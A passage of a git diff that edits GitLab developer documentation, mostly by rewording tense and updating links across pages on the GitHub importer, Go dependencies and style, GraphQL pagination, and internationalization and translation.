"http://localhost:9236/metrics" | grep go_find_all_tags ``` 1. Once you observe the metrics for the new feature flag and it increments, you @@ -371,5 +375,5 @@ the integration by using GDK: 1. Verify the feature is on by observing the metrics for it: ```shell - curl --silent http://localhost:9236/metrics | grep go_find_all_tags + curl --silent "http://localhost:9236/metrics" | grep go_find_all_tags ``` diff --git a/doc/development/github_importer.md b/doc/development/github_importer.md index 9fa55d2662a..cc289496301 100644 --- a/doc/development/github_importer.md +++ b/doc/development/github_importer.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Working with the GitHub importer @@ -50,28 +50,28 @@ called `Gitlab::GithubImport::AdvanceStageWorker`. ### 1. RepositoryImportWorker -This worker will kick off the import process by simply scheduling a job for the +This worker starts the import process by scheduling a job for the next worker. ### 2. Stage::ImportRepositoryWorker -This worker will import the repository and wiki, scheduling the next stage when +This worker imports the repository and wiki, scheduling the next stage when done. ### 3. Stage::ImportBaseDataWorker -This worker will import base data such as labels, milestones, and releases. This -work is done in a single thread since it can be performed fast enough that we +This worker imports base data such as labels, milestones, and releases. This +work is done in a single thread because it can be performed fast enough that we don't need to perform this work in parallel. ### 4. Stage::ImportPullRequestsWorker -This worker will import all pull requests. For every pull request a job for the +This worker imports all pull requests. For every pull request a job for the `Gitlab::GithubImport::ImportPullRequestWorker` worker is scheduled. ### 5. Stage::ImportIssuesAndDiffNotesWorker -This worker will import all issues and pull request comments. For every issue, we +This worker imports all issues and pull request comments. For every issue, we schedule a job for the `Gitlab::GithubImport::ImportIssueWorker` worker. For pull request comments, we instead schedule jobs for the `Gitlab::GithubImport::DiffNoteImporter` worker. @@ -91,14 +91,14 @@ This worker imports regular comments for both issues and pull requests. For every comment, we schedule a job for the `Gitlab::GithubImport::ImportNoteWorker` worker. -Regular comments have to be imported at the end since the GitHub API used +Regular comments have to be imported at the end because the GitHub API used returns comments for both issues and pull requests. This means we have to wait for all issues and pull requests to be imported before we can import regular comments. ### 7. Stage::FinishImportWorker -This worker will wrap up the import process by performing some housekeeping +This worker completes the import process by performing some housekeeping (such as flushing any caches) and by marking the import as completed. ## Advancing stages @@ -113,22 +113,22 @@ The first approach should only be used by workers that perform all their work in a single thread, while `AdvanceStageWorker` should be used for everything else. The way `AdvanceStageWorker` works is fairly simple. When scheduling a job it -will be given a project ID, a list of Redis keys, and the name of the next +is given a project ID, a list of Redis keys, and the name of the next stage. The Redis keys (produced by `Gitlab::JobWaiter`) are used to check if the currently running stage has been completed or not. If the stage has not yet been -completed `AdvanceStageWorker` will reschedule itself. Once a stage finishes -`AdvanceStageworker` will refresh the import JID (more on this below) and +completed `AdvanceStageWorker` reschedules itself. After a stage finishes +`AdvanceStageworker` refreshes the import JID (more on this below) and schedule the worker of the next stage. -To reduce the number of `AdvanceStageWorker` jobs scheduled this worker will -briefly wait for jobs to complete before deciding what the next action should -be. For small projects, this may slow down the import process a bit, but it will -also reduce pressure on the system as a whole. +To reduce the number of `AdvanceStageWorker` jobs scheduled this worker +briefly waits for jobs to complete before deciding what the next action should +be. For small projects, this may slow down the import process a bit, but it +also reduces pressure on the system as a whole. ## Refreshing import JIDs GitLab includes a worker called `Gitlab::Import::StuckProjectImportJobsWorker` -that will periodically run and mark project imports as failed if they have been +that periodically runs and marks project imports as failed if they have been running for more than 15 hours. For GitHub projects, this poses a bit of a problem: importing large projects could take several hours depending on how often we hit the GitHub rate limit (more on this below), but we don't want @@ -151,7 +151,7 @@ because we need the Email address of users in order to map them to GitLab users. We handle this by doing the following: -1. Once we hit the rate limit all jobs will automatically reschedule themselves +1. After we hit the rate limit all jobs automatically reschedule themselves in such a way that they are not executed until the rate limit has been reset. 1. We cache the mapping of GitHub users to GitLab users in Redis. @@ -164,7 +164,7 @@ perform: 1. One API call to get the user's Email address. 1. Two database queries to see if a corresponding GitLab user exists. One query - will try to find the user based on the GitHub user ID, while the second query + tries to find the user based on the GitHub user ID, while the second query is used to find the user using their GitHub Email address. Because this process is quite expensive we cache the result of these lookups in @@ -186,11 +186,11 @@ positive lookup, we refresh the TTL automatically. The TTL of false lookups is never refreshed. Because of this caching layer, it's possible newly registered GitLab accounts -won't be linked to their corresponding GitHub accounts. This, however, will sort -itself out once the cached keys expire. +aren't linked to their corresponding GitHub accounts. This, however, is resolved +after the cached keys expire. -The user cache lookup is shared across projects. This means that the more -projects get imported the fewer GitHub API calls will be needed. +The user cache lookup is shared across projects. This means that the greater the number of +projects that are imported, fewer GitHub API calls are needed. The code for this resides in: diff --git a/doc/development/go_guide/dependencies.md b/doc/development/go_guide/dependencies.md index 461ee394533..72b3f82d86f 100644 --- a/doc/development/go_guide/dependencies.md +++ b/doc/development/go_guide/dependencies.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Dependency Management in Go @@ -89,28 +89,28 @@ Go 1.12 introduced checksum databases and module proxies. ### Checksums -In addition to `go.mod`, a module will have a `go.sum` file. This file records a +In addition to `go.mod`, a module has a `go.sum` file. This file records a SHA-256 checksum of the code and the `go.mod` file of every version of every dependency that is referenced by the module or one of the module's dependencies. Go continually updates `go.sum` as new dependencies are referenced. When Go fetches the dependencies of a module, if those dependencies already have -an entry in `go.sum`, Go will verify the checksum of these dependencies. If the -checksum does not match what is in `go.sum`, the build will fail. This ensures +an entry in `go.sum`, Go verifies the checksum of these dependencies. If the +checksum does not match what is in `go.sum`, the build fails. This ensures that a given version of a module cannot be changed by its developers or by a malicious party without causing build failures. Go 1.12+ can be configured to use a checksum database. If configured to do so, when Go fetches a dependency and there is no corresponding entry in `go.sum`, Go -will query the configured checksum database(s) for the checksum of the +queries the configured checksum database(s) for the checksum of the dependency instead of calculating it from the downloaded dependency. If the -dependency cannot be found in the checksum database, the build will fail. If the +dependency cannot be found in the checksum database, the build fails. If the downloaded dependency's checksum does not match the result from the checksum -database, the build will fail. The following environment variables control this: +database, the build fails. The following environment variables control this: - `GOSUMDB` identifies the name, and optionally the public key and server URL, of the checksum database to query. - - A value of `off` will entirely disable checksum database queries. + - A value of `off` entirely disables checksum database queries. - Go 1.13+ uses `sum.golang.org` if `GOSUMDB` is not defined. - `GONOSUMDB` is a comma-separated list of module suffixes that checksum database queries should be disabled for. Wildcards are supported. @@ -125,8 +125,8 @@ attempts to fetch the dependency from the configured proxies, in order. The following environment variables control this: - `GOPROXY` is a comma-separated list of module proxies to query. - - A value of `direct` will entirely disable module proxy queries. - - If the last entry in the list is `direct`, Go will fall back to the process + - A value of `direct` entirely disables module proxy queries. + - If the last entry in the list is `direct`, Go falls back to the process described [above](#fetching-packages) if none of the proxies can provide the dependency. - Go 1.13+ uses `proxy.golang.org,direct` if `GOPROXY` is not defined. @@ -159,7 +159,7 @@ From Go 1.12 onward, the process for fetching a module or package is as follows: The downloaded source must contain a `go.mod` file. The `go.mod` file must contain a `module` directive that specifies the name of the module. If the module name as specified by `go.mod` does not match the name that was used to -fetch the module, the module will fail to compile. +fetch the module, the module fails to compile. If the module is being fetched directly and no version was specified, or if the module is being added as a dependency and no version was specified, Go uses the @@ -172,9 +172,9 @@ latest that is also a valid semantic version. In versions prior to Go 1.13, support for authenticating requests made by Go was somewhat inconsistent. Go 1.13 improved support for `.netrc` authentication. If -a request is made over HTTPS and a matching `.netrc` entry can be found, Go will -add HTTP Basic authentication credentials to the request. Go will not -authenticate requests made over HTTP. Go will reject HTTP-only entries in +a request is made over HTTPS and a matching `.netrc` entry can be found, Go +adds HTTP Basic authentication credentials to the request. Go does not +authenticate requests made over HTTP. Go rejects HTTP-only entries in `GOPROXY` that have embedded credentials. In a future version, Go may add support for arbitrary authentication headers. diff --git a/doc/development/go_guide/index.md b/doc/development/go_guide/index.md index 4077cf2a2c2..b2405f4ce2a 100644 --- a/doc/development/go_guide/index.md +++ b/doc/development/go_guide/index.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Go standards and style guidelines @@ -20,7 +20,7 @@ the two is best for the job. This page aims to define and organize our Go guidelines, based on our various experiences. Several projects were started with different standards and they -can still have specifics. They will be described in their respective +can still have specifics. They are described in their respective `README.md` or `PROCESS.md` files. ## Dependency Management @@ -89,7 +89,7 @@ projects: ## Code style and format -- Avoid global variables, even in packages. By doing so you will introduce side +- Avoid global variables, even in packages. By doing so you introduce side effects if the package is included multiple times. - Use `goimports` before committing. [goimports](https://godoc.org/golang.org/x/tools/cmd/goimports) @@ -97,7 +97,7 @@ projects: [Gofmt](https://golang.org/cmd/gofmt/), in addition to formatting import lines, adding missing ones and removing unreferenced ones. - Most editors/IDEs will allow you to run commands before/after saving a file, you can set it + Most editors/IDEs allow you to run commands before/after saving a file, you can set it up to run `goimports` so that it's applied to every file when saving. - Place private methods below the first caller method in the source file. @@ -128,9 +128,11 @@ configuration of `golangci-lint`. All options for `golangci-lint` are listed in this [example](https://github.com/golangci/golangci-lint/blob/master/.golangci.example.yml). Once [recursive includes](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/56836) -become available, you will be able to share job templates like this +become available, you can share job templates like this [analyzer](https://gitlab.com/gitlab-org/security-products/ci-templates/raw/master/includes-dev/analyzer.yml). +Go GitLab linter plugins are maintained in the [`gitlab-org/language-tools/go/linters`](https://gitlab.com/gitlab-org/language-tools/go/linters/) namespace. + ## Dependencies Dependencies should be kept to the minimum. The introduction of a new @@ -150,7 +152,7 @@ define and lock dependencies for reproducible builds. It should be used whenever possible. When Go Modules are in use, there should not be a `vendor/` directory. Instead, -Go will automatically download dependencies when they are needed to build the +Go automatically downloads dependencies when they are needed to build the project. This is in line with how dependencies are handled with Bundler in Ruby projects, and makes merge requests easier to review. @@ -177,7 +179,7 @@ databases. In the rare event of managing a hosted database, it's necessary to use a migration system like ActiveRecord is providing. A simple library like [Journey](https://github.com/db-journey/journey), designed to be used in -`postgres` containers, can be deployed as long-running pods. New versions will +`postgres` containers, can be deployed as long-running pods. New versions deploy a new pod, migrating the data automatically. ## Testing @@ -255,7 +257,7 @@ to make the test output easily readable. to use for naming subtests. In the Go standard library, this is commonly the `name string` field. - Use `want`/`expect`/`actual` when you are specifying something in the - test case that will be used for assertion. + test case that is used for assertion. #### Variable names @@ -414,13 +416,13 @@ builds](https://docs.docker.com/develop/develop-images/multistage-build/): Generated Docker images should have the program at their `Entrypoint` to create portable commands. That way, anyone can run the image, and without parameters -it will display its help message (if `cli` has been used). +it displays its help message (if `cli` has been used). ## Distributing Go binaries With the exception of [GitLab Runner](https://gitlab.com/gitlab-org/gitlab-runner), which publishes its own binaries, our Go binaries are created by projects -managed by the [Distribution group](https://about.gitlab.com/handbook/product/product-categories/#distribution-group). +managed by the [Distribution group](https://about.gitlab.com/handbook/product/categories/#distribution-group). The [Omnibus GitLab](https://gitlab.com/gitlab-org/omnibus-gitlab) project creates a single, monolithic operating system package containing all the binaries, while @@ -476,7 +478,7 @@ Example: In case we want to drop support for `go 1.11` in GitLab `12.10`, we need to verify which Go versions we are using in `12.9`, `12.8`, and `12.7`. -We will not consider the active milestone, `12.10`, because a backport for `12.7` will be required in case of a critical security release. +We do not consider the active milestone, `12.10`, because a backport for `12.7` is required in case of a critical security release. 1. If both [Omnibus and CNG](#updating-go-version) were using Go `1.12` in GitLab `12.7` and later, then we safely drop support for `1.11`. 1. If Omnibus or CNG were using `1.11` in GitLab `12.7`, then we still need to keep support for Go `1.11` for easier backporting of security fixes. @@ -492,11 +494,11 @@ Use `goimports -local gitlab.com/gitlab-org` before committing. is a tool that automatically formats Go source code using [Gofmt](https://golang.org/cmd/gofmt/), in addition to formatting import lines, adding missing ones and removing unreferenced ones. -By using the `-local gitlab.com/gitlab-org` option, `goimports` will group locally referenced +By using the `-local gitlab.com/gitlab-org` option, `goimports` groups locally referenced packages separately from external ones. See [the imports section](https://github.com/golang/go/wiki/CodeReviewComments#imports) of the Code Review Comments page on the Go wiki for more details. -Most editors/IDEs will allow you to run commands before/after saving a file, you can set it +Most editors/IDEs allow you to run commands before/after saving a file, you can set it up to run `goimports -local gitlab.com/gitlab-org` so that it's applied to every file when saving. --- diff --git a/doc/development/gotchas.md b/doc/development/gotchas.md index 691027f385f..2b34aedddf6 100644 --- a/doc/development/gotchas.md +++ b/doc/development/gotchas.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Gotchas @@ -14,7 +14,7 @@ might encounter or should avoid during development of GitLab CE and EE. In GitLab 10.8 and later, Omnibus has [dropped the `app/assets` directory](https://gitlab.com/gitlab-org/omnibus-gitlab/-/merge_requests/2456), after asset compilation. The `ee/app/assets`, `vendor/assets` directories are dropped as well. -This means that reading files from that directory will fail in Omnibus-installed GitLab instances: +This means that reading files from that directory fails in Omnibus-installed GitLab instances: ```ruby file = Rails.root.join('app/assets/images/logo.svg') @@ -243,8 +243,8 @@ end In this case, if for any reason the top level `ApplicationController` is loaded but `Projects::ApplicationController` is not, `ApplicationController` -would be resolved to `::ApplicationController` and then the `project` method will -be undefined and we will get an error. +would be resolved to `::ApplicationController` and then the `project` method is +undefined, causing an error. #### Solution @@ -264,8 +264,8 @@ end By specifying `Projects::`, we tell Rails exactly what class we are referring to and we would avoid the issue. -NOTE: **Note:** -This problem will disappear as soon as we upgrade to Rails 6 and use the Zeitwerk autoloader. +NOTE: +This problem disappears as soon as we upgrade to Rails 6 and use the Zeitwerk autoloader. ### Further reading @@ -292,7 +292,7 @@ While the code above works in local environments, it errors out in production in ### Solution -The alternative is the `lib/assets` folder. Use it if you need to add assets (like images) to the repo that meet the following conditions: +The alternative is the `lib/assets` folder. Use it if you need to add assets (like images) to the repository that meet the following conditions: - The assets do not need to be directly served to the user (and hence need not be pre-compiled). - The assets do need to be accessed via application code. diff --git a/doc/development/graphql_guide/batchloader.md b/doc/development/graphql_guide/batchloader.md index 6d529358499..e965e678aba 100644 --- a/doc/development/graphql_guide/batchloader.md +++ b/doc/development/graphql_guide/batchloader.md @@ -1,7 +1,7 @@ --- stage: Enablement group: Database -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # GraphQL BatchLoader diff --git a/doc/development/graphql_guide/index.md b/doc/development/graphql_guide/index.md index 12b4f9796c7..658bba96f33 100644 --- a/doc/development/graphql_guide/index.md +++ b/doc/development/graphql_guide/index.md @@ -1,12 +1,12 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # GraphQL development guidelines -This guide contains all the information to successfully contribute to GitLab's +This guide contains all the information to successfully contribute to the GitLab GraphQL API. This is a living document, and we welcome contributions, feedback, and suggestions. diff --git a/doc/development/graphql_guide/pagination.md b/doc/development/graphql_guide/pagination.md index d5140363396..130ed5721f3 100644 --- a/doc/development/graphql_guide/pagination.md +++ b/doc/development/graphql_guide/pagination.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # GraphQL pagination @@ -86,6 +86,20 @@ However, there are some cases where we have to use the offset pagination connection, `OffsetActiveRecordRelationConnection`, such as when sorting by label priority in issues, due to the complexity of the sort. +If you return a relation from a resolver that is not suitable for keyset +pagination (due to the sort order for example), then you can use the +`BaseResolver#offset_pagination` method to wrap the relation in the correct +connection type. For example: + +```ruby +def resolve(**args) + result = Finder.new(object, current_user, args).execute + result = offset_pagination(result) if needs_offset?(args[:sort]) + + result +end +``` + ### Keyset pagination The keyset pagination implementation is a subclass of `GraphQL::Pagination::ActiveRecordRelationConnection`, @@ -225,7 +239,7 @@ instead of an `ActiveRecord::Relation`: if non_stable_cursor_sort?(args[:sort]) # Certain complex sorts are not supported by the stable cursor pagination yet. # In these cases, we use offset pagination, so we return the correct connection. - Gitlab::Graphql::Pagination::OffsetActiveRecordRelationConnection.new(issues) + offset_pagination(issues) else issues end @@ -280,28 +294,30 @@ The shared example requires certain `let` variables and methods to be set up: ```ruby describe 'sorting and pagination' do - let(:sort_project) { create(:project, :public) } + let_it_be(:sort_project) { create(:project, :public) } let(:data_path) { [:project, :issues] } - def pagination_query(params, page_info) - graphql_query_for( - 'project', - { 'fullPath' => sort_project.full_path }, - query_graphql_field('issues', params, "#{page_info} edges { node { id } }") + def pagination_query(params) + graphql_query_for( :project, { full_path: sort_project.full_path }, + query_nodes(:issues, :id, include_pagination_info: true, args: params)) ) end - def pagination_results_data(data) - data.map { |issue| issue.dig('node', 'iid').to_i } + def pagination_results_data(nodes) + nodes.map { |issue| issue['iid'].to_i } end context 'when sorting by weight' do - ... + let_it_be(:issues) { make_some_issues_with_weights } + context 'when ascending' do + let(:ordered_issues) { issues.sort_by(&:weight) } + it_behaves_like 'sorted paginated query' do - let(:sort_param) { 'WEIGHT_ASC' } + let(:sort_param) { :WEIGHT_ASC } let(:first_param) { 2 } - let(:expected_results) { [weight_issue3.iid, weight_issue5.iid, weight_issue1.iid, weight_issue4.iid, weight_issue2.iid] } + let(:expected_results) { ordered_issues.map(&:iid) } end end + end ``` diff --git a/doc/development/hash_indexes.md b/doc/development/hash_indexes.md index cc0b0b3a736..881369e429b 100644 --- a/doc/development/hash_indexes.md +++ b/doc/development/hash_indexes.md @@ -1,7 +1,7 @@ --- stage: Enablement group: Database -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Hash Indexes diff --git a/doc/development/i18n/externalization.md b/doc/development/i18n/externalization.md index 65a1d83a8fc..90355e1cccb 100644 --- a/doc/development/i18n/externalization.md +++ b/doc/development/i18n/externalization.md @@ -1,7 +1,7 @@ --- stage: Manage group: Import -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Internationalization for GitLab @@ -10,10 +10,10 @@ info: To determine the technical writer assigned to the Stage/Group associated w For working with internationalization (i18n), [GNU gettext](https://www.gnu.org/software/gettext/) is used given it's the most -used tool for this task and there are a lot of applications that will help us to +used tool for this task and there are a lot of applications that help us work with it. -TIP: **Tip:** +NOTE: All `rake` commands described on this page must be run on a GitLab instance, usually GDK. ## Setting up GitLab Development Kit (GDK) @@ -376,7 +376,7 @@ Namespaces should be PascalCase. s_('OpenedNDaysAgo|Opened') ``` - In case the translation is not found it will return `Opened`. + In case the translation is not found it returns `Opened`. - In JavaScript: @@ -417,12 +417,12 @@ To include formatting in the translated string, we can do the following: See the section on [interpolation](#interpolation). -When [this translation helper issue](https://gitlab.com/gitlab-org/gitlab/-/issues/217935) is complete, we'll update the +When [this translation helper issue](https://gitlab.com/gitlab-org/gitlab/-/issues/217935) is complete, we plan to update the process of including formatting in translated strings. #### Including Angle Brackets -If a string contains angles brackets (`<`/`>`) that are not used for HTML, it will still be flagged by the +If a string contains angles brackets (`<`/`>`) that are not used for HTML, it is still flagged by the `rake gettext:lint` linter. To avoid this error, use the applicable HTML entity code (`<` or `>`) instead: @@ -473,7 +473,7 @@ This makes use of [`Intl.DateTimeFormat`](https://developer.mozilla.org/en-US/do 1. **Through the `l` helper**, i.e. `l(active_session.created_at, format: :short)`. We have some predefined formats for [dates](https://gitlab.com/gitlab-org/gitlab/blob/4ab54c2233e91f60a80e5b6fa2181e6899fdcc3e/config/locales/en.yml#L54) and [times](https://gitlab.com/gitlab-org/gitlab/blob/4ab54c2233e91f60a80e5b6fa2181e6899fdcc3e/config/locales/en.yml#L262). If you need to add a new format, because other parts of the code could benefit from it, - you'll need to add it to [en.yml](https://gitlab.com/gitlab-org/gitlab/blob/master/config/locales/en.yml) file. + you can add it to [en.yml](https://gitlab.com/gitlab-org/gitlab/blob/master/config/locales/en.yml) file. 1. **Through `strftime`**, i.e. `milestone.start_date.strftime('%b %-d')`. We use `strftime` in case none of the formats defined on [en.yml](https://gitlab.com/gitlab-org/gitlab/blob/master/config/locales/en.yml) matches the date/time specifications we need, and if there is no need to add it as a new format because is very particular (i.e. it's only used in a single view). @@ -504,7 +504,7 @@ Examples: - Mappings for a dropdown list - Error messages -To store these kinds of data, using a constant seems like the best choice, however this won't work for translations. +To store these kinds of data, using a constant seems like the best choice, however this doesn't work for translations. Bad, avoid it: @@ -518,7 +518,7 @@ class MyPresenter end ``` -The translation method (`_`) will be called when the class is loaded for the first time and translates the text to the default locale. Regardless of what's the user's locale, these values will not be translated again. +The translation method (`_`) is called when the class is loaded for the first time and translates the text to the default locale. Regardless of the user's locale, these values are not translated a second time. Similar thing happens when using class methods with memoization. @@ -536,7 +536,7 @@ class MyModel end ``` -This method will memoize the translations using the locale of the user, who first "called" this method. +This method memorizes the translations using the locale of the user, who first "called" this method. To avoid these problems, keep the translations dynamic. @@ -700,9 +700,9 @@ Now that the new content is marked for translation, we need to update bin/rake gettext:regenerate ``` -This command will update `locale/gitlab.pot` file with the newly externalized +This command updates `locale/gitlab.pot` file with the newly externalized strings and remove any strings that aren't used anymore. You should check this -file in. Once the changes are on master, they will be picked up by +file in. Once the changes are on master, they are picked up by [CrowdIn](https://translate.gitlab.com) and be presented for translation. @@ -719,7 +719,7 @@ running on CI as part of the `static-analysis` job. To lint the adjustments in PO files locally you can run `rake gettext:lint`. -The linter will take the following into account: +The linter takes the following into account: - Valid PO-file syntax - Variable usage @@ -756,9 +756,9 @@ aren't in the message with ID `1 pipeline`. ## Adding a new language -NOTE: **Note:** +NOTE: [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/221012) in GitLab 13.3: -Languages with less than 2% of translations won't be available in the UI. +Languages with less than 2% of translations are not available in the UI. Let's suppose you want to add translations for a new language, let's say French. diff --git a/doc/development/i18n/index.md b/doc/development/i18n/index.md index 13f2b43b788..b0e34052d2a 100644 --- a/doc/development/i18n/index.md +++ b/doc/development/i18n/index.md @@ -1,21 +1,21 @@ --- stage: Manage group: Import -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Translate GitLab to your language -The text in GitLab's user interface is in American English by default. +The text in the GitLab user interface is in American English by default. Each string can be translated to other languages. As each string is translated, it is added to the languages translation file, -and will be available in future releases of GitLab. +and is made available in future releases of GitLab. Contributions to translations are always needed. Many strings are not yet available for translation because they have not been externalized. Helping externalize strings benefits all languages. Some translations are incomplete or inconsistent. -Translating strings will help complete and improve each language. +Translating strings helps complete and improve each language. ## How to contribute @@ -37,7 +37,7 @@ See [Externalization for GitLab](externalization.md). The translation process is managed at <https://translate.gitlab.com> using [CrowdIn](https://crowdin.com/). -You will need to create an account before you can submit translations. +You need to create an account before you can submit translations. Once you are signed in, select the language you wish to contribute translations to. Voting for translations is also valuable, helping to confirm good and flag inaccurate translations. @@ -48,7 +48,7 @@ See [Translation guidelines](translation.md). Proofreading helps ensure the accuracy and consistency of translations. All translations are proofread before being accepted. If a translations requires -changes, you will be notified with a comment explaining why. +changes, you are notified with a comment explaining why. See [Proofreading Translations](proofreader.md) for more information on who's able to proofread and instructions on becoming a proofreader yourself. diff --git a/doc/development/i18n/merging_translations.md b/doc/development/i18n/merging_translations.md index c4a709f84d3..582c1428bdd 100644 --- a/doc/development/i18n/merging_translations.md +++ b/doc/development/i18n/merging_translations.md @@ -1,7 +1,7 @@ --- stage: Manage group: Import -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Merging translations from CrowdIn @@ -27,8 +27,8 @@ If there are validation errors, the easiest solution is to disapprove the offending string in CrowdIn, leaving a comment with what is required to fix the offense. There is an [issue](https://gitlab.com/gitlab-org/gitlab/-/issues/23256) -suggesting to automate this process. Disapproving will exclude the -invalid translation, the merge request will be updated within a few +suggesting to automate this process. Disapproving excludes the +invalid translation, the merge request is then updated within a few minutes. If the translation has failed validation due to angle brackets `<` or `>` @@ -52,7 +52,7 @@ We are discussing [automating this entire process](https://gitlab.com/gitlab-org ## Recreate the merge request CrowdIn creates a new merge request as soon as the old one is closed -or merged. But it won't recreate the `master-i18n` branch every +or merged. But it does not recreate the `master-i18n` branch every time. To force CrowdIn to recreate the branch, close any [open merge request](https://gitlab.com/gitlab-org/gitlab/-/merge_requests?scope=all&utf8=%E2%9C%93&state=opened&author_username=gitlab-crowdin-bot) and delete the @@ -63,7 +63,7 @@ have been fixed on master. ## Recreate the GitLab integration in CrowdIn -NOTE: **Note:** +NOTE: These instructions work only for GitLab Team Members. If for some reason the GitLab integration in CrowdIn does not exist, it can be diff --git a/doc/development/i18n/proofreader.md b/doc/development/i18n/proofreader.md index 56a4f835b3f..a15eb4c3bc2 100644 --- a/doc/development/i18n/proofreader.md +++ b/doc/development/i18n/proofreader.md @@ -1,7 +1,7 @@ --- stage: Manage group: Import -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Proofread Translations @@ -147,9 +147,9 @@ of contributing translations to the GitLab project. In the merge request description, include links to any projects you have previously translated. -1. Your request to become a proofreader will be considered on the merits of +1. Your request to become a proofreader is considered on the merits of your previous translations by [GitLab team members](https://about.gitlab.com/company/team/) or [Core team members](https://about.gitlab.com/community/core-team/) who are fluent in the language or current proofreaders. - When a request is made for the first proofreader for a language and there are no [GitLab team members](https://about.gitlab.com/company/team/) - or [Core team members](https://about.gitlab.com/community/core-team/) who speak the language, we will request links to previous translation work in other communities or projects. + or [Core team members](https://about.gitlab.com/community/core-team/) who speak the language, we shall request links to previous translation work in other communities or projects. diff --git a/doc/development/i18n/translation.md b/doc/development/i18n/translation.md index 128bacfda97..25dc854d2a3 100644 --- a/doc/development/i18n/translation.md +++ b/doc/development/i18n/translation.md @@ -1,7 +1,7 @@ --- stage: Manage group: Import -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Translating GitLab @@ -23,7 +23,7 @@ You may create a new account or use any of their supported sign in services. GitLab is being translated into many languages. 1. Select the language you would like to contribute translations to by clicking the flag -1. You will see a list of files and folders. +1. Next, you can view list of files and folders. Click `gitlab.pot` to open the translation editor. ### Translation Editor @@ -34,7 +34,7 @@ The online translation editor is the easiest way to contribute translations. 1. Strings for translation are listed in the left panel 1. Translations are entered into the central panel. - Multiple translations will be required for strings that contains plurals. + Multiple translations are required for strings that contains plurals. The string to be translated is shown above with glossary terms highlighted. If the string to be translated is not clear, you can 'Request Context' @@ -79,7 +79,7 @@ determining a suitable level of formality. ### Inclusive language -[Diversity](https://about.gitlab.com/handbook/values/#diversity) is one of GitLab's values. +[Diversity](https://about.gitlab.com/handbook/values/#diversity) is a GitLab value. We ask you to avoid translations which exclude people based on their gender or ethnicity. In languages which distinguish between a male and female form, use both or @@ -100,7 +100,7 @@ To propose additions to the glossary please ### Inclusive language in French <!-- vale gitlab.Spelling = NO --> -In French, the "écriture inclusive" is now over (see on [Legifrance](https://www.legifrance.gouv.fr/affichTexte.do?cidTexte=JORFTEXT000036068906&categorieLien=id)). +In French, the "écriture inclusive" is now over (see on [Legifrance](https://www.legifrance.gouv.fr/jorf/id/JORFTEXT000036068906/)). So, to include both genders, write “Utilisateurs et utilisatrices” instead of “Utilisateur·rice·s”. When space is missing, the male gender should be used alone. <!-- vale gitlab.Spelling = YES --> diff --git a/doc/development/i18n_guide.md b/doc/development/i18n_guide.md index e588b47e203..ddc91f9308e 100644 --- a/doc/development/i18n_guide.md +++ b/doc/development/i18n_guide.md @@ -3,3 +3,6 @@ redirect_to: 'i18n/index.md' --- This document was moved to [another location](i18n/index.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: 